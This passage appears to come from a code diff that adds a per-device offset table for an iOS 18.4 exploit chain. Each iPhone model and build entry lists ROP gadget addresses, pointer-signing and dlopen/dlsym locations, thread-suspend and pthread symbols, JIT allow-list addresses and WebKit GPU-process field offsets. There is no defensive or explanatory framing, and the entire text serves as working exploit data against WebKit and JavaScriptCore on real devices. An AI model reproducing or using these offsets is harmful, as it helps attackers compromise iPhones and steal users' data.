0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + 